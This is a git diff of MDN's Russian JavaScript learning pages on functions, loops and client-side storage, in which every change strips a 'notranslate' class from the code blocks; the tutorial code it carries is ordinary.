Learn/JavaScript/Building_blocks/Functions <p>В этом курсе мы использовали функции, встроенные в браузер. Каждый раз, когда мы манипулировали текстовой строкой, например:</p> -<pre class="brush: js notranslate">var myText = 'Я строка'; +<pre class="brush: js">var myText = 'Я строка'; var newString = myText.replace('строка', 'сосиска'); console.log(newString); // Функция строки replace() принимает строку, @@ -48,7 +48,7 @@ console.log(newString); <p>Или каждый раз, когда мы манипулировали массивом:</p> -<pre class="brush: js notranslate">var myArray = ['Я', 'люблю', 'шоколадных', 'лягушек']; +<pre class="brush: js">var myArray = ['Я', 'люблю', 'шоколадных', 'лягушек']; var madeAString = myArray.join(' '); console.log(madeAString); // Функция join() принимает массив, соединяет @@ -57,7 +57,7 @@ console.log(madeAString); <p>Или каждый раз, когда мы генерировали случайное число:</p> -<pre class="brush: js notranslate">var myNumber = Math.random() +<pre class="brush: js">var myNumber = Math.random() // Функция random() генерирует случайное число от 0 до 1, // и возвращает это число</pre> @@ -83,7 +83,7 @@ console.log(madeAString); <p>В этом курсе так же использовались <strong>пользовательские функции</strong> — это функции, которые вы определяете в своём коде, а не внутри браузера. Каждый раз, когда вы видели произвольное слово (имя функции) с круглыми скобками прямо после него, вы использовали пользовательскую функцию. В нашем примере <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> (подробнее см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">исходный код</a>) из нашей <a href="/ru/docs/Learn/JavaScript/Building_blocks/Looping_code">статьи о циклах</a> мы включили пользовательскую функцию <code>draw()</code>, которая выглядит так:</p> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { ctx.clearRect(0,0,WIDTH,HEIGHT); for (var i = 0; i < 100; i++) { ctx.beginPath(); @@ -95,11 +95,11 @@ console.log(madeAString); <p>Эта функция рисует 100 случайных кругов внутри элемента {{htmlelement("canvas")}}. Каждый раз, когда мы хотим это сделать, мы можем вызвать эту функцию следующим образом</p> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> <p>вместо того, чтобы каждый раз, когда мы хотим повторить этот код, не писать его заново. И функции могут содержать любой код, который вам нравится - вы можете даже вызывать другие функции внутри своих функций. Вышеупомянутая функция, например, вызывает функцию <code>random()</code> три раза, которая выглядит следующим образом:</p> -<pre class="brush: js notranslate">function random(number) { +<pre class="brush: js">function random(number) { return Math.floor(Math.random()*number); }</pre> @@ -109,7 +109,7 @@ console.log(madeAString); <p>Скорее всего, вы уже поняли это, но на всякий случай ... чтобы использовать функцию после того, как она была определена, вам нужно запустить или вызвать её. Это делается путём включения имени функции в код где-нибудь, за которым следуют скобки.</p> -<pre class="brush: js notranslate">function myFunction() { +<pre class="brush: js">function myFunction() { alert('привет'); } @@ -120,19 +120,19 @@ myFunction() <p>Вы можете видеть функции, определённые и вызываемые несколькими разными способами. До этого мы создавали функции таким способом:</p> -<pre class="brush: js notranslate">function myFunction() { +<pre class="brush: js">function myFunction() { alert('привет'); }</pre> <p>Но вы также можете создавать функции без имени:</p> -<pre class="brush: js notranslate">function() { +<pre class="brush: js">function() { alert('привет'); }</pre> <p>Такая функция называется <strong>безымянная функция</strong> (или анонимная) — она не имеет имени! Она сама по себе ничего не делает. Обычно такие функции используются вместе с обработчиком событий, например, следующее будет вызывать код внутри функции каждый раз, по нажатию соответствующей кнопки:</p> -<pre class="brush: js notranslate">var myButton = document.querySelector('button'); +<pre class="brush: js">var myButton = document.querySelector('button'); myButton.onclick = function() { alert('привет'); @@ -142,34 +142,34 @@ myButton.onclick = function() { <p>Вы также можете присвоить к переменной анонимную функцию, например:</p> -<pre class="brush: js notranslate">var myGreeting = function() { +<pre class="brush: js">var myGreeting = function() { alert('привет'); }</pre> <p>Теперь эту функцию можно вызвать, используя:</p> -<pre class="brush: js notranslate">myGreeting();</pre> +<pre class="brush: js">myGreeting();</pre> <p>Фактически такой способ присваивает переменной имя; вы также можете присвоить функцию значением нескольких переменных, например:</p> -<pre class="brush: js notranslate">var anotherGreeting = function() { +<pre class="brush: js">var anotherGreeting = function() { alert('привет'); }</pre> <p>Теперь функцию можно вызвать, используя любую из переменных</p> -<pre class="brush: js notranslate">myGreeting(); +<pre class="brush: js">myGreeting(); anotherGreeting();</pre> <p>Но это может ввести в заблуждение, так что не стоит так делать! При создании функций лучше всего придерживаться следующего вида:</p> -<pre class="brush: js notranslate">function myGreeting() { +<pre class="brush: js">function myGreeting() { alert('привет'); }</pre> <p>Чаще всего вы будете использовать анонимные функции, чтобы просто запускать код при срабатывания события - например, нажатие кнопки - с помощью обработчика событий. Опять же, это выглядит примерно так:</p> -<pre class="brush: js notranslate">myButton.onclick = function() { +<pre class="brush: js">myButton.onclick = function() { alert('привет'); // При желании, внутри этой функции // можно написать много кода. @@ -185,11 +185,11 @@ anotherGreeting();</pre> <p>Например встроенная в браузер функция <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> не требует параметров. При вызове, она всегда возвращает случайное число от 0 до 1:</p> -<pre class="brush: js notranslate">var myNumber = Math.random();</pre> +<pre class="brush: js">var myNumber = Math.random();</pre> <p>Браузерная встроенная функция, работающая со строкой, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a> ожидает два параметра — это подстрока для поиска в основной строке и строка, на которую происходит замена в основной строке:</p> -<pre class="brush: js notranslate">var myText = 'Я строка'; +<pre class="brush: js">var myText = 'Я строка'; var newString = myText.replace('строка', 'сосиска');</pre> <div class="note"> @@ -198,7 +198,7 @@ var newString = myText.replace('строка', 'сосиска');</pre> <p>Следует также отметить, что иногда параметры являются необязательными - вам не нужно их указывать. Если вы этого не сделаете, функция, как правило, примет какое-то поведение по умолчанию. В качестве примера параметр функции массива <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/join">join()</a> необязателен:</p> -<pre class="brush: js notranslate">var myArray = ['Я', 'люблю', 'шоколадных', 'лягушек']; +<pre class="brush: js">var myArray = ['Я', 'люблю', 'шоколадных', 'лягушек']; var madeAString = myArray.join(' '); // Вернёт 'Я люблю шоколадных лягушек' var madeAString = myArray.join(); @@ -216,20 +216,20 @@ var madeAString = myArray.join(); <p>Например, скажем, у вас есть файл HTML, который вызывается в двух внешних файлах JavaScript, и оба они имеют переменную и определённую функцию, которые используют одно и то же имя:</p> -<pre class="brush: html notranslate"><!-- Excerpt from my HTML --> +<pre class="brush: html"><!-- Excerpt from my HTML --> <script src="first.js"></script> <script src="second.js"></script> <script> greeting(); </script></pre> -<pre class="brush: js notranslate">// first.js +<pre class="brush: js">// first.js var name = 'Chris'; function greeting() { alert('Hello ' + name + ': welcome to our company.'); }</pre> -<pre class="brush: js notranslate">// second.js +<pre class="brush: js">// second.js var name = 'Zaptec'; function greeting() { alert('Our company is called ' + name + '.'); @@ -257,14 +257,14 @@ function greeting() { <li>Сначала создайте локальную копию нашего примера <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-scope.html">function-scope.html</a>. Это содержит две функции, называемые <code>a()</code> и <code>b()</code>, и три переменные - <code>x</code>, <code>y</code> и <code>z</code> - две из которых определены внутри функций и одна в глобальной области. Он также содержит третью функцию, называемую <code>output()</code>, которая принимает один параметр и выводит его в абзаце на странице.</li> <li>Откройте пример в браузере и в текстовом редакторе.</li> <li>Откройте консоль JavaScript в инструментах разработчика вашего браузера. В консоли JavaScript введите следующую команду: - <pre class="brush: js notranslate">output(x);</pre> + <pre class="brush: js">output(x);</pre> вы должны увидеть значение переменной <code>x</code> вывод на экране.</li> <li>Теперь попробуйте ввести следующее в консоли - <pre class="brush: js notranslate">output(y); + <pre class="brush: js">output(y); output(z);</pre> Оба из них должны возвращать ошибку в строке "<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: y is not defined</a>". Почему это? Из-за функции scope - <code>y</code> и <code>z</code> блокируются внутри функций <code>a() </code>и <code>b()</code>, поэтому <code>output()</code> не может получить к ним доступ при вызове из глобальной области.</li> <li>Однако как насчёт того, когда он вызван изнутри другой функции? Попробуйте отредактировать функции <code>a()</code> и <code>b()</code>, чтобы они выглядели следующим образом: - <pre class="brush: js notranslate">function a() { + <pre class="brush: js">function a() { var y = 2; output(y); } @@ -275,11 +275,11 @@ function b() { }</pre> Сохраните код и перезагрузите его в своём браузере, затем попробуйте вызвать функции <code>a()</code> и <code>b()</code> из консоли JavaScript: - <pre class="brush: js notranslate">a(); + <pre class="brush: js">a(); b();</pre> вы должны увидеть значения y и z, выводимые на странице. Это отлично работает, так как функция <code>output() </code>вызывается внутри других функций - в той же области, где переменные, которые она печатает, определяются в каждом случае. <code>output()</code> доступен из любого места, поскольку он определён в глобальной области.</li> <li>Теперь попробуйте обновить свой код следующим образом: - <pre class="brush: js notranslate">function a() { + <pre class="brush: js">function a() { var y = 2; output(x); } @@ -290,13 +290,13 @@ function b() { }</pre> Сохраните и перезагрузите снова и повторите попытку в консоли JavaScript:</li> <li> - <pre class="brush: js notranslate"><code>a(); + <pre class="brush: js"><code>a(); b();</code></pre> <p>Оба вызова <code>a()</code> и <code>b()</code> должны выводить значение x - 1. Они работают нормально, потому что, хотя вызовы <code>output()</code> не находятся в той же области, где определено <code>x</code>, <code>x</code> - глобальная переменная, поэтому она доступна внутри всего кода, везде</p> </li> <li>Наконец, попробуйте обновить свой код следующим образом: - <pre class="brush: js notranslate"><code>function a() { + <pre class="brush: js"><code>function a() { var y = 2; output(z); } @@ -307,7 +307,7 @@ function b() { }</code></pre> Сохраните и перезагрузите снова и повторите попытку в консоли JavaScript:</li> <li> - <pre class="brush: js notranslate"><code>a(); + <pre class="brush: js"><code>a(); b();</code></pre> </li> </ol> @@ -329,7 +329,7 @@ b();</code></pre> <p>Имейте в виду, что вы можете вызывать функцию из любого места, даже если она внутри другой функции. Это часто используется как способ поддержания чистоты кода. Если у вас есть большая сложная функция, её легче понять, если разбить её на несколько подфункций:</p> -<pre class="brush: js notranslate">function myBigFunction() { +<pre class="brush: js">function myBigFunction() { var myValue; subFunction1(); @@ -352,7 +352,7 @@ function subFunction3() { <p>Просто убедитесь, что значения, используемые внутри функции, находятся в области видимости. В приведённом выше примере выдаётся ошибка <code>ReferenceError: MyValue is not defined</code>, поскольку хотя переменная <code>myValue</code> определена в той же области, что и вызовы функций, она не определена в определениях функций - фактический код, который запускается при вызове функций. Чтобы это работало, вам нужно передать значение в функцию в качестве параметра, например так:</p> -<pre class="brush: js notranslate">function myBigFunction() { +<pre class="brush: js">function myBigFunction() { var myValue = 1; subFunction1(myValue); diff --git a/files/ru/learn/javascript/building_blocks/looping_code/index.html b/files/ru/learn/javascript/building_blocks/looping_code/index.html index b3f85a278e..773fc55377 100644 --- a/files/ru/learn/javascript/building_blocks/looping_code/index.html +++ b/files/ru/learn/javascript/building_blocks/looping_code/index.html @@ -41,7 +41,7 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code <p>В <a href="/ru/docs/Glossary/Pseudocode">псевдокоде</a> это будет выглядеть следующим образом:</p> -<pre class="notranslate">loop(food = 0; foodNeeded = 10) { +<pre>loop(food = 0; foodNeeded = 10) { if (food = foodNeeded) { exit loop; // У нас достаточно еды, пора домой @@ -64,7 +64,7 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code <div class="hidden"> <h6 id="Hidden_code">Hidden code</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -135,7 +135,7 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code <p>Вам необязательно понимать все части кода, но давайте посмотрим на место, где рисуются 100 кругов.</p> -<pre class="brush: js notranslate">for (var i = 0; i < 100; i++) { +<pre class="brush: js">for (var i = 0; i < 100; i++) { ctx.beginPath(); ctx.fillStyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); @@ -151,7 +151,7 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code <p>Если бы мы не использовали циклы, нам бы пришлось повторить следующий код, для отрисовки каждого круга:</p> -<pre class="brush: js notranslate">ctx.beginPath(); +<pre class="brush: js">ctx.beginPath(); ctx.fillStyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); ctx.fill();</pre> @@ -162,7 +162,7 @@ ctx.fill();</pre> <p>Рассмотрим некоторые конкретные конструкции циклов. Первый вариант, который вы будете использовать чаще всего, это цикл <a href="/ru/docs/Web/JavaScript/Reference/Statements/for">for</a>. Он имеет следующий синтаксис:</p> -<pre class="notranslate">for (initializer; exit-condition; final-expression) { +<pre>for (initializer; exit-condition; final-expression) { // код для выполнения }</pre> @@ -182,7 +182,7 @@ ctx.fill();</pre> <p>Посмотрим на пример, чтобы разобраться в этом более детально.</p> -<pre class="brush: js notranslate">var cats = ['Билл', 'Макс', 'Пикси', 'Алиса', 'Жасмин']; +<pre class="brush: js">var cats = ['Билл', 'Макс', 'Пикси', 'Алиса', 'Жасмин']; var info = 'Моих кошек зовут '; var para = document.querySelector('p'); @@ -197,7 +197,7 @@ para.textContent = info;</pre> <div class="hidden"> <h6 id="Hidden_code_2">Hidden code 2</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -266,7 +266,7 @@ para.textContent = info;</pre> <p>В идеале мы хотим изменить конкатенацию на последней итерации цикла так, чтобы у нас не было запятой в конце предложения. Для этого нужно добавить условное выражение внутрь цикла <code>for</code> для обработки этого особого случая:</p> -<pre class="brush: js notranslate">for (var i = 0; i < cats.length; i++) { +<pre class="brush: js">for (var i = 0; i < cats.length; i++) { if (i === cats.length - 1) { info += 'и ' + cats[i] + '.'; } else { @@ -291,7 +291,7 @@ para.textContent = info;</pre> <p>Предположим, в массиве данных мы хотим найти имена контактов и телефонные номера, а вернуть только номер, который мы нашли.<br> Начнём с разметки HTML: поле {{htmlelement("input")}} позволяет нам ввести имя для поиска, элемент (кнопка) {{htmlelement("button")}} для подтверждения поиска, и элемент {{htmlelement("p")}} для отображения результата:</p> -<pre class="brush: html notranslate"><label for="search">Поиск по имени: </label> +<pre class="brush: html"><label for="search">Поиск по имени: </label> <input id="search" type="text"> <button>Поиск</button> @@ -299,7 +299,7 @@ para.textContent = info;</pre> <p>Теперь в JavaScript:</p> -<pre class="brush: js notranslate">var contacts = ['Григорий:2232322', 'Марина:3453456', 'Василий:7654322', 'Наталья:9998769', 'Диана:9384975']; +<pre class="brush: js">var contacts = ['Григорий:2232322', 'Марина:3453456', 'Василий:7654322', 'Наталья:9998769', 'Диана:9384975']; var para = document.querySelector('p'); var input = document.querySelector('input'); var btn = document.querySelector('button'); @@ -322,7 +322,7 @@ btn.addEventListener('click', function() { <div class="hidden"> <h6 id="Hidden_code_3">Hidden code 3</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -395,7 +395,7 @@ btn.addEventListener('click', function() { <p>Код HTML в основном такой же, как и в предыдущем примере — простой ввод текста и абзац для вывода. JavaScript в основном такой же, хотя сам цикл немного другой:</p> -<pre class="brush: js notranslate">var num = input.value; +<pre class="brush: js">var num = input.value; for (var i = 1; i <= num; i++) { var sqRoot = Math.sqrt(i); @@ -411,7 +411,7 @@ for (var i = 1; i <= num; i++) { <div class="hidden"> <h6 id="Hidden_code_4">Hidden code 4</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -473,7 +473,7 @@ for (var i = 1; i <= num; i++) { <p>Рассмотрим цикл <a href="/ru/docs/Web/JavaScript/Reference/Statements/while">while</a>. Синтаксис этого цикла выглядит так:</p> -<pre class="notranslate">initializer +<pre>initializer while (exit-condition) { // code to run @@ -488,7 +488,7 @@ while (exit-condition) { <p>Посмотрим ещё раз пример со списком кошек с кодом переписанным под использование цикла <code>while:</code></p> -<pre class="brush: js notranslate">var i = 0; +<pre class="brush: js">var i = 0; while (i < cats.length) { if (i === cats.length - 1) { @@ -506,7 +506,7 @@ while (i < cats.length) { <p>Цикл<strong> <a href="/ru/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a></strong> представляет собой вариацию структуры цикла <code>while</code>:</p> -<pre class="notranslate">initializer +<pre>initializer do { // code to run @@ -519,7 +519,7 @@ do { <p>Перепишем наш пример с кошками, чтобы использовать цикл <code>do...while</code>:</p> -<pre class="brush: js notranslate">var i = 0; +<pre class="brush: js">var i = 0; do { if (i === cats.length - 1) { @@ -568,7 +568,7 @@ do { <div class="hidden"> <h6 id="Active_learning">Active learning</h6> -<pre class="brush: html notranslate"><h2>Live output</h2> +<pre class="brush: html"><h2>Live output</h2> <div class="output" style="height: 410px;overflow: auto;"> </div> @@ -598,7 +598,7 @@ output.innerHTML = ''; <p class="brush: js"></p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -626,7 +626,7 @@ body { <p class="brush: js"></p> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -740,7 +740,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Active_learning_2">Active learning 2</h6> -<pre class="brush: html notranslate"><h2>Live output</h2> +<pre class="brush: html"><h2>Live output</h2> <div class="output" style="height: 100px;overflow: auto;"> <p class="admitted">Пригласить: </p> <p class="refused">Не приглашать(!): </p> @@ -769,7 +769,7 @@ refused.textContent = 'Не приглашать(!): ' </div> </pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -789,7 +789,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -875,13 +875,13 @@ textarea.onkeyup = function(){ <p><strong><code>For</code></strong>:</p> -<pre class="notranslate">for (initializer; exit-condition; final-expression) { +<pre>for (initializer; exit-condition; final-expression) { // code to run }</pre> <p><strong><code>while</code></strong>:</p> -<pre class="notranslate">initializer +<pre>initializer while (exit-condition) { // code to run @@ -890,7 +890,7 @@ while (exit-condition) { <p><strong><code>do...while</code></strong>:</p> -<pre class="notranslate">initializer +<pre>initializer do { // code to run diff --git a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html index 940cbe5333..fb71ec78d6 100644 --- a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html @@ -98,12 +98,12 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage <p>{{domxref("Storage.setItem()")}} метод позволяет сохранить элемент данных в хранилище - он принимает два параметра: имя элемента и его значение. Попробуйте ввести это в свою консоль JavaScript (измените значение на своё собственное имя, если хотите!):</p> - <pre class="brush: js notranslate">localStorage.setItem('name','Chris');</pre> + <pre class="brush: js">localStorage.setItem('name','Chris');</pre> </li> <li> <p>{{domxref("Storage.getItem()")}} метод принимает один параметр - имя элемента данных, который вы хотите получить - и возвращает значение элемента. Теперь введите эти строки в вашу консоль JavaScript:</p> - <pre class="brush: js notranslate">var myName = localStorage.getItem('name'); + <pre class="brush: js">var myName = localStorage.getItem('name'); myName</pre> <p>После ввода во второй строке вы должны увидеть, что переменная <code>myName</code> теперь содержит значение элемента данных <code>name</code>.</p> @@ -111,7 +111,7 @@ myName</pre> <li> <p>{{domxref("Storage.removeItem()")}} метод принимает один параметр - имя элемента данных, который вы хотите удалить, - и удаляет этот элемент из веб-хранилища. Введите следующие строки в вашу консоль JavaScript:</p> - <pre class="brush: js notranslate">localStorage.removeItem('name'); + <pre class="brush: js">localStorage.removeItem('name'); var myName = localStorage.getItem('name'); myName</pre> @@ -130,7 +130,7 @@ myName</pre> <li> <p>Введите эти строки в консоль JavaScript браузера:</p> - <pre class="brush: js notranslate">localStorage.setItem('name','Chris'); + <pre class="brush: js">localStorage.setItem('name','Chris'); var myName = localStorage.getItem('name'); myName</pre> @@ -142,7 +142,7 @@ myName</pre> <li> <p>Введите следующий код:</p> - <pre class="brush: js notranslate">var myName = localStorage.getItem('name'); + <pre class="brush: js">var myName = localStorage.getItem('name'); myName</pre> <p>Вы должны увидеть, что значение всё ещё доступно, даже после закрытия / открытия браузера.</p> @@ -175,7 +175,7 @@ myName</pre> <li> <p>Мы начнём с создания ссылок на все функции HTML, которыми мы должны манипулировать в этом примере - мы создадим их все как константы, поскольку эти ссылки не нужно изменять в жизненном цикле приложения. Добавьте следующие строки в ваш файл JavaScript:</p> - <pre class="brush: js notranslate">// create needed constants + <pre class="brush: js">// create needed constants const rememberDiv = document.querySelector('.remember'); const forgetDiv = document.querySelector('.forget'); const form = document.querySelector('form'); @@ -189,7 +189,7 @@ const personalGreeting = document.querySelector('.personal-greeting');</pre> <li> <p>Далее нам нужно включить небольшой обработчик событий, чтобы форма фактически не отправляла себя при нажатии кнопки отправки, так как это не то поведение, которое нам нужно. Добавьте этот фрагмент ниже вашего предыдущего кода:</p> - <pre class="brush: js notranslate">// Stop the form from submitting when a button is pressed + <pre class="brush: js">// Stop the form from submitting when a button is pressed form.addEventListener('submit', function(e) { e.preventDefault(); });</pre> @@ -197,7 +197,7 @@ form.addEventListener('submit', function(e) { <li> <p>Теперь нам нужно добавить обработчик событий, функция-обработчик которого будет запускаться при нажатии кнопки «Say hello». В комментариях подробно объясняется, что делает каждый бит, но в сущности здесь мы берём имя, которое пользователь ввёл в поле ввода текста, и сохраняем его в веб-хранилище с помощью <code>setItem()</code>, затем запускаем функцию <code>nameDisplayCheck()</code>, которая будет обрабатывать обновление фактического текста сайта. Добавьте это в конец: </p> - <pre class="brush: js notranslate">// run function when the 'Say hello' button is clicked + <pre class="brush: js">// run function when the 'Say hello' button is clicked submitBtn.addEventListener('click', function() { // store the entered name in web storage localStorage.setItem('name', nameInput.value); @@ -209,7 +209,7 @@ submitBtn.addEventListener('click', function() { <li> <p>На этом этапе нам также необходим обработчик событий для запуска функции при нажатии кнопки «Forget» — она будет отображена только после того как кнопка «Say hello» будет нажата (две формы состояния для переключения между ними). В этой функции мы удаляем переменную <code>name</code> из веб-хранилища используя <code>removeItem()</code>, затем снова запускаем <code>nameDisplayCheck()</code> для обновления. Добавьте этот код в конец:</p> - <pre class="brush: js notranslate">// run function when the 'Forget' button is clicked + <pre class="brush: js">// run function when the 'Forget' button is clicked forgetBtn.addEventListener('click', function() { // Remove the stored name from web storage localStorage.removeItem('name'); @@ -221,7 +221,7 @@ forgetBtn.addEventListener('click', function() { <li> <p>Самое время для определения самой функции <code>nameDisplayCheck()</code>. Здесь мы проверяем была ли переменная <code>name</code> сохранена в веб-хранилище с помощью <code>localStorage.getItem('name')</code> в качестве условия. Если переменная <code>name</code> была сохранена, то вызов вернёт - <code>true</code>; если же нет, то - <code>false</code>. Если <code>true</code>, мы показываем персональное приветствие, отображаем кнопку «Forget», и скрываем кнопку «Say hello». Если же <code>false</code>, мы отображаем общее приветствие и делаем обратное. Опять же, добавьте следующий код в конец:</p> - <pre class="brush: js notranslate">// define the nameDisplayCheck() function + <pre class="brush: js">// define the nameDisplayCheck() function function nameDisplayCheck() { // check whether the 'name' data item is stored in web Storage if(localStorage.getItem('name')) { @@ -245,7 +245,7 @@ function nameDisplayCheck() { <li> <p>Последнее но не менее важное, нам необходимо запускать функцию <code>nameDisplayCheck()</code> при каждой загрузке страницы. Если мы не сделаем этого, персональное приветствие не будет сохранятся после перезагрузки страницы. Добавьте следующий фрагмент в конец вашего кода:</p> - <pre class="brush: js notranslate">document.body.onload = nameDisplayCheck;</pre> + <pre class="brush: js">document.body.onload = nameDisplayCheck;</pre> </li> </ol> @@ -291,7 +291,7 @@ function nameDisplayCheck() { <li> <p>Below the constant declarations, add the following lines:</p> - <pre class="brush: js notranslate">// Create an instance of a db object for us to store the open database in + <pre class="brush: js">// Create an instance of a db object for us to store the open database in let db;</pre> <p>Here we are declaring a variable called <code>db</code> — this will later be used to store an object representing our database. We will use this in a few places, so we've declared it globally here to make things easier.</p> @@ -299,7 +299,7 @@ let db;</pre> <li> <p>Next, add the following to the bottom of your code:</p> - <pre class="brush: js notranslate">window.onload = function() { + <pre class="brush: js">window.onload = function() { };</pre> @@ -308,7 +308,7 @@ let db;</pre> <li> <p>Inside the <code>window.onload</code> handler, add the following:</p> - <pre class="brush: js notranslate">// Open our database; it is created if it doesn't already exist + <pre class="brush: js">// Open our database; it is created if it doesn't already exist // (see onupgradeneeded below) let request = window.indexedDB.open('notes', 1);</pre> @@ -323,7 +323,7 @@ let request = window.indexedDB.open('notes', 1);</pre> <li> <p>Now add the following event handlers just below your previous addition — again inside the <code>window.onload</code> handler:</p> - <pre class="brush: js notranslate">// onerror handler signifies that the database didn't open successfully + <pre class="brush: js">// onerror handler signifies that the database didn't open successfully request.onerror = function() { console.log('Database failed to open'); }; @@ -346,7 +346,7 @@ request.onsuccess = function() { <li> <p>Finally for this section, we'll add probably the most important event handler for setting up the database: {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. This handler runs if the database has not already been set up, or if the database is opened with a bigger version number than the existing stored database (when performing an upgrade). Add the following code, below your previous handler:</p> - <pre class="brush: js notranslate">// Setup the database tables if this has not already been done + <pre class="brush: js">// Setup the database tables if this has not already been done request.onupgradeneeded = function(e) { // Grab a reference to the opened database let db = e.target.result; @@ -372,7 +372,7 @@ request.onupgradeneeded = function(e) { <p>So with this simple database schema set up, when we start adding records to the database each one will be represented as an object along these lines:</p> -<pre class="brush: js notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-object"><span class="objectLeftBrace">{ +<pre class="brush: js"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-object"><span class="objectLeftBrace">{ </span><span class="nodeName">title</span><span class="objectEqual">: </span><span class="objectBox objectBox-string">"Buy milk"</span>, <span class="nodeName">body</span><span class="objectEqual">: </span><span class="objectBox objectBox-string">"Need both cows milk and soya."</span>, <span class="nodeName">id</span><span class="objectEqual">: </span><span class="objectBox objectBox-number">8</span></span></span></span></span><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-object"><span class="objectRightBrace"> @@ -384,12 +384,12 @@ request.onupgradeneeded = function(e) { <p>Below your previous event handler (but still inside the <code>window.onload</code> handler), add the following line, which sets up an <code>onsubmit</code> handler that runs a function called <code>addData()</code> when the form is submitted (when the submit {{htmlelement("button")}} is pressed leading to a successful form submission):</p> -<pre class="brush: js notranslate">// Create an onsubmit handler so that when the form is submitted the addData() function is run +<pre class="brush: js">// Create an onsubmit handler so that when the form is submitted the addData() function is run form.onsubmit = addData;</pre> <p>Now let's define the <code>addData()</code> function. Add this below your previous line:</p> -<pre class="brush: js notranslate">// Define the addData() function +<pre class="brush: js">// Define the addData() function function addData(e) { // prevent default - we don't want the form to submit in the conventional way e.preventDefault(); @@ -439,7 +439,7 @@ function addData(e) { <p>We've referenced <code>displayData()</code> twice in our code already, so we'd probably better define it. Add this to your code, below the previous function definition:</p> -<pre class="brush: js notranslate">// Define the displayData() function +<pre class="brush: js">// Define the displayData() function function displayData() { // Here we empty the contents of the list element each time the display is updated // If you ddn't do this, you'd get duplicates listed each time a new note is added @@ -516,7 +516,7 @@ function displayData() { <p>As stated above, when a note's delete button is pressed, the note is deleted. This is achieved by the <code>deleteItem()</code> function, which looks like so:</p> -<pre class="brush: js notranslate">// Define the deleteItem() function +<pre class="brush: js">// Define the deleteItem() function function deleteItem(e) { // retrieve the name of the task we want to delete. We need // to convert it to a number before trying it use it with IDB; IDB key @@ -566,7 +566,7 @@ function deleteItem(e) { <li> <p>For this simple example, we've stored the names of the videos to fetch in an array of objects:</p> - <pre class="brush: js notranslate">const videos = [ + <pre class="brush: js">const videos = [ { 'name' : 'crystal' }, { 'name' : 'elf' }, { 'name' : 'frog' }, @@ -580,7 +580,7 @@ function deleteItem(e) { <p>If each video is found in the database (easily checked by seeing whether <code>request.result</code> evaluates to <code>true</code> — if the record is not present, it will be <code>undefined</code>), its video files (stored as blobs) and the video name are passed straight to the <code>displayVideo()</code> function to place them in the UI. If not, the video name is passed to the <code>fetchVideoFromNetwork()</code> function to ... you guessed it — fetch the video from the network.</p> - <pre class="brush: js notranslate">function init() { + <pre class="brush: js">function init() { // Loop through the video names one by one for(let i = 0; i < videos.length; i++) { // Open transaction, get object store, and get() each video by name @@ -607,7 +607,7 @@ function deleteItem(e) { <p>When all those promises have fulfilled, the <code>all()</code> promise fulfills with an array containing all the individual fulfillment values. Inside the <code>all()</code> block, you can see that we then call the <code>displayVideo()</code> function like we did before to display the videos in the UI, then we also call the <code>storeVideo()</code> function to store those videos inside the database.</p> - <pre class="brush: js notranslate">let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response => + <pre class="brush: js">let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response => response.blob() ); let webmBlob = fetch('videos/' + video.name + '.webm').then(response => @@ -625,7 +625,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <li> <p>Let's look at <code>storeVideo()</code> first. This is very similar to the pattern you saw in the previous example for adding data to the database — we open a <code>readwrite</code> transaction and get an object store reference our <code>videos</code>, create an object representing the record to add to the database, then simply add it using 